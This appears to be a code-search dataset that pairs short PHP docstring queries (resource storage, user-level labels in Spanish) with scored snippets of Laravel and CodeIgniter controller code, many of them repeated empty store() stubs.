implode(\"\", explode(\"/\", implode(\"\", explode(\".\", $password_hash_token))));\n $dowload_url = site_url().'download/'.$download_token;\n $order = $this->createOrder($paypalInfo['item_number'],$download_token);\n $data_email = array('name' => $order->name, 'price' => $order->price, 'date' => $order->date,'download_url'=>$dowload_url,'total'=>$order->total_download);\n $message = $this->load->view('frontend/thankyou/emaildownload', $data_email, TRUE);\n\n $from = '[email protected]' ;\n $to = $paypalInfo[\"payer_email\"];\n $sub = 'Ebook-Shop giao hàng';\n $this->sendmail->sendmail($from, $to, null, null, $sub, $message);\n }\n }", "title": "" } ]
972499302c169f21ea61b70e96990c89
Store a newly created resource in storage.
[ { "docid": "862f78d926fb988177dcd5af81222828", "score": "0.0", "text": "public function store(Request $request, Conversation $conversation){\n return $this->messageServices->store($request, $conversation);\n }", "title": "" } ]
[ { "docid": "a3eaa169a246f55fd5bf18b486ebe204", "score": "0.70050573", "text": "public function store()\n {\n /* Check if logged user is authorized to create resources */\n $this->authorize('create', [$this->model]);\n\n $this->request->validate($this->storeValidations());\n\n DB::transaction(function () {\n\n /** Create a new resource */\n $resource = Model::create([\n 'user' => Input::get('user'),\n 'name' => Input::get('name'),\n 'email' => Input::get('email'),\n 'status' => Input::get('status'),\n 'password' => bcrypt(config('user.default_password', 'secret')),\n ]);\n\n /* Check if permissions are being set */\n if (Input::get('roles') != null) {\n /** Synchronize both tables through pivot table */\n $resource->roles()->sync(Input::get('roles'));\n }\n }, 5);\n\n /* Redirect to resource index page */\n return redirect()\n ->route($this->name . '.index')\n ->with('success', $this->name . '.resource-created');\n }", "title": "" }, { "docid": "8d0bfe30c62faf0feb996618f9875517", "score": "0.69766456", "text": "protected function store($resource_entity)\n {\n if ($resource_entity->isStored()) {\n $model = ResourceModel::find($resource_entity->id);\n } else {\n $model = new ResourceModel();\n }\n $model->fill(\n [\n 'bucket' => $resource_entity->bucket,\n 'hash' => $resource_entity->hash,\n 'processed_hash' => $resource_entity->processed_hash,\n 'mime_type' => $resource_entity->mime_type,\n 'desc' => $resource_entity->desc,\n ]\n );\n $model->save();\n $resource_entity->url = $this->url($model);\n $resource_entity->setIdentity($model->id);\n\n }", "title": "" }, { "docid": "310f8da9f04c8768eed8a9dadc64ed2d", "score": "0.66146183", "text": "public function store(ResourceStoreRequest $request): RedirectResponse\n {\n $input = $request->validated();\n $input['is_facility'] = $request->has('is_facility');\n\n $resource = Resource::create($input);\n $resource->categories()->sync($request->get('categories'));\n $resource->groups()->sync($request->get('groups'));\n\n laraflash()\n ->message()\n ->title('Resource was created')\n ->content('Resource \"'.$resource->name.'\" was created successfully.')\n ->success();\n\n return redirect()->route('resources.index');\n }", "title": "" }, { "docid": "d0ab33c00beb338b5537109124c32bc3", "score": "0.6592173", "text": "public function create(Storage $storage): void;", "title": "" }, { "docid": "53b23500f551bbef6ad4a65447665f8a", "score": "0.6527683", "text": "public function store() {}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" } ]
f439a1a5d96288740b5746a78d3e1b60
Convierte a texto el nivel del usuario.
[ { "docid": "4ec4c8be79a42b1336f3d30cfd979771", "score": "0.73518986", "text": "function nivel2text($valor) {\n\t\n\tglobal $usuario_title, $administrador_title ;\n\tswitch($valor){\t\t\n\t\tcase 8 \t: $valor = $usuario_title \t\t; break ;\n\t\tcase 9 \t: $valor = $administrador_title ; break ;\n\t\tcase 10 : $valor = $programador_title \t; break ;\n\t\tdefault\t: $valor = '';\n\t}\n\t\n\treturn $valor ;\n}", "title": "" } ]
[ { "docid": "17383b7a5037e48534347cb7c7f36137", "score": "0.7133068", "text": "public function nivelUsuario($nivel){\r\n\tswitch($nivel){\r\n\t\tcase '0': return 'NO ASIGNADO'; break;\r\n\t\tcase '1': return 'Administrador'; break;\r\n\t\tcase '2': return 'Editor General'; break;\r\n\t\tcase '3': return 'Editorial'; break;\r\n\t\tcase '6': return 'First Majestic'; break;\r\n\t\tcase '9': return 'Proveedores'; break;\r\n\t\tcase '10': return 'Directorio de Proveedores'; break;\r\n\t}//switch\r\n\t\r\n}", "title": "" }, { "docid": "f71a3d2cbad10d734f40e9921ddcf6b4", "score": "0.6394926", "text": "public function getRolTipoText() {\n if($this->getRolTipo() == User::$VENDEDOR){\n return User::$VENDEDOR_TEXT;\n }else if($this->getRolTipo() == User::$COMPRADOR){\n return User::$COMPRADOR_TEXT;\n }else if($this->getRolTipo() == User::$APROBADOR){\n return User::$APROBADOR_TEXT;\n }else if($this->getRolTipo() == User::$DIGITADOR){\n return User::$DIGITADOR_TEXT;\n }\n }", "title": "" }, { "docid": "e5b15ec0bec8da629c725028cea68a16", "score": "0.63531786", "text": "public function getRolInternoTipoText() {\n if($this->getRolInternoTipo() == User::$MINSAL){\n return User::$MINSAL_TEXT;\n }else if($this->getRolInternoTipo() == User::$DGII){\n return User::$DGII_TEXT;\n }else if($this->getRolInternoTipo() == User::$DGA){\n return User::$DGA_TEXT;\n }else if($this->getRolInternoTipo() == User::$MH){\n return User::$MH_TEXT;\n }else if($this->getRolInternoTipo() == User::$DNM){\n return User::$DNM_TEXT;\n }\n }", "title": "" }, { "docid": "c1345e6ec2c7bd8763d8f28002581929", "score": "0.60621566", "text": "private function verPermiso() {\r\n\t\t$categoria=$this->auth['categoriaUsuario_id'];\r\n\t\t$tipoTutor='-1';\r\n\t\tswitch ($categoria) {\r\n\t\t\tcase CAT_USUARIO_COORDINADOR:\r\n\t\t\t\t$tipoTutor='*';\r\n\t\t\t\tbreak;\r\n\t\t\tcase CAT_USUARIO_TUTOR_ACAD:\r\n\t\t\t\t$tipoTutor='A';\r\n\t\t\t\tbreak;\r\n\t\t\tcase CAT_USUARIO_TUTOR_EMP:\r\n\t\t\t\t$tipoTutor='E';\r\n\t\t\t\tbreak;\r\n\t\t\tcase CAT_USUARIO_PASANTE:\r\n\t\t\t\t$tipoTutor='P';\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t\treturn $tipoTutor;\r\n\t}", "title": "" }, { "docid": "2dd8a2044620a987f745010b186c0863", "score": "0.6008732", "text": "public function getTipoUsuarioNameAttribute()\n {\n $tipoUsuario = $this->tipoUsuario;\n $value = $tipoUsuario==1? 'Usuario DGIRE' : 'Institución';\n return $value;\n }", "title": "" }, { "docid": "b9b614d9cd3f166bc227d64e11b10f59", "score": "0.59204155", "text": "function retornaNivel($id){\n\t\t\t$x=0;\n $link=conecta();\n $sql=\"SELECT * FROM usuarios WHERE usu_id='$id'\";\n $res=mysql_query($sql,$link) or die(\"Error en: $busqueda: \" . mysql_error());\n if($f=mysql_fetch_array($res))\n $x=$f['tip_id'];\n mysql_close($link); \n return $x; \n\t}", "title": "" }, { "docid": "8351b9f72025853c52ab1ed4f29bf070", "score": "0.58531576", "text": "private function valExtensUsuario()\n {\n if(strlen($this->Usuario) < 5){\n $alert = new AdmsAlertMensagem();\n $_SESSION['msg'] = $alert->alertMensagemJavaScript(\"O usuário deve ter no mínimo 5 caracteres!\",\"danger\");\n $this->Resultado = false;\n } else {\n $this->Resultado = true;\n }\n }", "title": "" }, { "docid": "6704315f1fe142daab8252772a428512", "score": "0.5745848", "text": "public function tipoUsuarioUsername($data)\n {\n if ($data['tipoUsuario'] == 1) {\n $tipoUsuario = $data['email'];\n } else if($data['tipoUsuario'] == 2) {\n $isiPlan = explode('-', $data['plan']);\n $tipoUsuario = $isiPlan[0].'-'.$isiPlan[1];\n }\n return $tipoUsuario;\n }", "title": "" }, { "docid": "976fa7775bc9bb0d1e78a2bc2099e2e1", "score": "0.5701337", "text": "public function getRolInternoText() {\n if($this->getRolInterno()){\n return Entidad::$SI;\n }else {\n return Entidad::$NO;\n }\n }", "title": "" }, { "docid": "ebbd444403fd6db7f79ad2dc7220d11e", "score": "0.5665566", "text": "public function getRolCompradorText() {\n if($this->getRolComprador()){\n return Entidad::$SI;\n }else {\n return Entidad::$NO;\n }\n }", "title": "" }, { "docid": "b0f3ab974c95d94285c7d2ef1d579102", "score": "0.56587255", "text": "public function role(){\n \n $role = User::where('username',$this->username)->first();\n \n if($role){\n if($role->role == 1 ) {\n echo '<span class=\"label label-primary\">'.$this->lang['panelang']['1'].'</span>';\n }\n if($role->role == 2 ) {\n echo '<span class=\"label label label-success\">'.$this->lang['panelang']['2'].'</span>';\n }\n if($role->role == 3 ) {\n echo '<span class=\"label label-primary\">'.$this->lang['panelang']['3'].'</span>';\n } \n }\n echo \" \";\n\n }", "title": "" }, { "docid": "d06845f2e54d2c6a7bbef72b2c454a6b", "score": "0.56430733", "text": "public function formPlanAttribute()\n {\n $value = $this->tipoUsuario == 1? '' : $this->username;\n return $value;\n }", "title": "" }, { "docid": "4845b1d9827fef51704ef2613cd92ed1", "score": "0.56266385", "text": "function getMyLevelName(){\n \tif (isset($_SESSION['user']) === true && isset($_SESSION['level']) === true){\n\t \tif ($_SESSION['level'] == 1){\n\t \t\treturn 'Administrator';\n\t \t} elseif ($_SESSION['level'] == 2) {\n return 'Anggota';\n } elseif ($_SESSION['level'] == 3) {\n\t \t\treturn 'Narasumber';\n\t \t}\n \t} else {\n \t\treturn null;\n \t}\n }", "title": "" }, { "docid": "5b83193a93f9023140e2c4d7116e8f10", "score": "0.55953395", "text": "public function nivel(Request $request)\n {\n $nivel = '';\n switch (strlen($request->plancuentasn_cuenta)) {\n case '1': $nivel = 1; break;\n case '2': $nivel = 2; break;\n case '4': $nivel = 3; break;\n case '6': $nivel = 4; break;\n case '8': $nivel = 5; break;\n case '11': $nivel = 6; break;\n case '13': $nivel = 7; break;\n case '15': $nivel = 8; break;\n }\n return response()->json(['success' => true, 'nivel' => $nivel]);\n }", "title": "" }, { "docid": "e96e6d120eac6abaf2e44d99c4fd8359", "score": "0.55872476", "text": "function convertidUsertoLevel($id)\n{\n\t$CI = &get_instance();\n\t$covert = $CI->db->query(\"select level as level from user where id_user = '$id'\");\n\treturn $covert->row()->level;\n\t// return ($hasil == \"1\") ? \"Admin\" : \"Kasir\";\n}", "title": "" }, { "docid": "0c28ea2218323ed6c51ddeb04ba1670e", "score": "0.5531465", "text": "function imprimirAtividade($texto,$nivel)\r\n{\r\n\tif($nivel ==1){\r\n\t\t$img = \"<img src=\\\"images/icones/edit4.gif\\\" width=\\\"9\\\" height=\\\"10\\\" /> \";\r\n\t}\r\n\telse{\r\n\t\t$img = \"<img src=\\\"images/icones/subseta.gif\\\" width=\\\"9\\\" height=\\\"10\\\" /> \";\r\n\t}\r\n\r\n\t$nivel = $nivel*15;\r\n\t$nivel.=\"px\";\r\n\techo \"|<span style=\\\"padding-left: $nivel \\\"> \".$img.$texto.\"</span>\";\r\n\techo \"<br>\";\r\n}", "title": "" }, { "docid": "13e451fe0cba4a6ab2f8821d42b37866", "score": "0.54942155", "text": "function getNombreusuario()\r\n\t { return $this->nomusuario;}", "title": "" }, { "docid": "41ee5498370ec37ec5247f51cf36e995", "score": "0.5492704", "text": "public function username()\n {\n return 'codigo';\n }", "title": "" }, { "docid": "c54172b31e3702564358ecbf851dca86", "score": "0.5461225", "text": "public function getRolProductorText() {\n if($this->getRolProductor()){\n return Entidad::$SI;\n }else {\n return Entidad::$NO;\n }\n }", "title": "" }, { "docid": "206fcb847faf7d1a4b90b0124ce6d796", "score": "0.544796", "text": "function getRoldeUsuario()\n\t{ \n\t\t$db = ADONewConnection('mysql');\n\t\t$db->Connect(DB_SERVER, DB_USER, DB_PASS, DB_DATABASE);\n\t\t$fields = $db->GetRow(\"SELECT AccessLevel FROM TB_Usuarios where Logname = '\".$_SESSION['userName'].\"';\"); \n\t\t$db->Close(); # opcional\t\n\t\t$ret = isset($fields['AccessLevel']) ? $fields['AccessLevel'] :'';\n \t\treturn($ret);\n\t}", "title": "" }, { "docid": "c4825c9ac93bc2bf3d20b8d798b03591", "score": "0.54285485", "text": "function getMyLevelNameById($id){\n \tif (isset($_SESSION['user'])){\n\t global $link;\n\n\t $runQuery = mysqli_query($link, \"SELECT level FROM users WHERE id = $id\");\n\t $level = mysqli_fetch_assoc($runQuery);\n\t $level = $level['level'];\n\n \tif ($level == 1){\n\t \t\treturn 'Administrator';\n\t \t} elseif ($level == 2) {\n return 'Anggota';\n } elseif ($level == 3) {\n\t \t\treturn 'Narasumber';\n\t \t}\n \t} else {\n \t\treturn null;\n \t}\n }", "title": "" }, { "docid": "725cf48f7b1060b9db03d13ef049e339", "score": "0.5413248", "text": "public function getNombUsua()\n {\n return $this->nombUsua;\n }", "title": "" }, { "docid": "fe2bb19dae5d67393c3c97b1a3726512", "score": "0.5399753", "text": "function nombreCompleto($tipo){\n\t\tswitch($tipo){\n\t\t\tcase \"f\": \n\t\t\tcase \"F\": \n\t\t\t\t$retorno = \"Farenheit\";\n\t\t\t\tbreak;\n\t\t\tcase \"c\": \n\t\t\tcase \"C\": \n\t\t\t\t$retorno = \"Celsius\";\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$retorno = \"TIPO NO VALIDO\";\n\t\t\t\tbreak;\n\t\t}\n\t\treturn $retorno;\n\t}", "title": "" }, { "docid": "ee741ef3b8ff801cb3f58cf9a5d6318d", "score": "0.5390738", "text": "private function getUserType()\n {\n $table = new \\VuBib\\Db\\Table\\User($this->adapter);\n $usr = $table->findRecordById($this->session->id);\n\n if (isset($usr['level'])) {\n if ($usr['level'] == 1) {\n $usr['level'] = 'Administrator';\n } else {\n $usr['level'] = 'Super User';\n }\n } else {\n $usr['level'] = 'User';\n }\n\n return $usr;\n }", "title": "" }, { "docid": "2c81bc52db8edee20f2abc36bda95c6c", "score": "0.53902847", "text": "public function seccionNoticia($seccion){\r\n\tswitch($seccion){\r\n\t\tcase '0': return 'Sin secci&oacute;n'; break;\r\n\t\tcase '4': return 'Financieras'; break;\r\n\t\tcase '1': return 'Sociales'; break;\r\n\t\tcase '2': return 'Sustentable'; break;\r\n\t\tcase '5': return 'Nuevos Proyectos'; break;\r\n\t\tcase '6': return 'Metales al d&iacute;a'; break;\r\n\t\tcase '7': return 'Eventos'; break;\r\n\t\tcase '3': return 'Informativo'; break;\r\n\t}//switch\r\n\t\r\n}", "title": "" }, { "docid": "4f09d48bb22285b22235d1fc495e8733", "score": "0.53883874", "text": "public function __toString()\n {\n return $this->getUsername() ?: '-';\n }", "title": "" }, { "docid": "f55d19f7137d3fbcf9c9a72edaef309c", "score": "0.5379583", "text": "public function create_user_id()\n {\n // Kode Pengguna\n $CheckUserId = $this->conn->query(\"SELECT MAX(id_user) as DataKode FROM users\");\n $DataUserId = mysqli_fetch_assoc($CheckUserId);\n // Pecah Data\n $kode = $DataUserId['DataKode'];\n $MengurutKode = substr($kode, 3, 4);\n $MengurutKode++; \n $HasilKode = sprintf(\"%03s\", $MengurutKode); // Hasil Kode\n\n return $HasilKode;\n }", "title": "" }, { "docid": "06b732dfd8d093c8e49c3e249d17dd34", "score": "0.5374648", "text": "function getNombreCompleto($echo = false) \n {\n leerClase('Usuario');\n if (!$this->usuario_id)\n return false;\n $usuario = new Usuario($this->usuario_id);\n return $usuario->getNombreCompleto($echo);\n }", "title": "" }, { "docid": "3e8edabf35f369c4c0e69ffc56490320", "score": "0.5357143", "text": "public function get_Code_utilisateur(): int { return $this->Code_utilisateur; }", "title": "" }, { "docid": "99856ce7663c1ff2b97a42225e3d6566", "score": "0.5352591", "text": "public function NivelTerritorial() {\n $query = ('SELECT COUNT(ex.nivel_territorial) AS Total, ex.nivel_territorial AS Nivel from experiencia ex GROUP BY ex.nivel_territorial');\n $base = $this->cnx->prepare($query);\n if ($base->execute()) {\n return $base->fetchALL(PDO::FETCH_ASSOC);\n }\n $base->close();\n return false;\n }", "title": "" }, { "docid": "2022ff4b216a8aa06245a22dd7f32f53", "score": "0.5337492", "text": "public function getUsername(): string\n {\n return (string) $this->pseudo;\n }", "title": "" }, { "docid": "b3bde1206c4f1df8b9a1e1142251bf96", "score": "0.53319424", "text": "function js_caso_bajo_nivel()\n\t{\n\t\t$id_js = toba::escaper()->escapeJs($this->objeto_js);\n\t\techo \"\t\t\n\t\t\t{$id_js}.evt__boton = function() {\n\t\t\t\tthis.ajax_cadenas('api_bajo_nivel', null, this, this.metodo_callback);\t\t\t\t\n\t\t\t\t//--- Evito que el mecanismo 'normal' de comunicacion cliente-servidor se ejecute\n\t\t\t\treturn 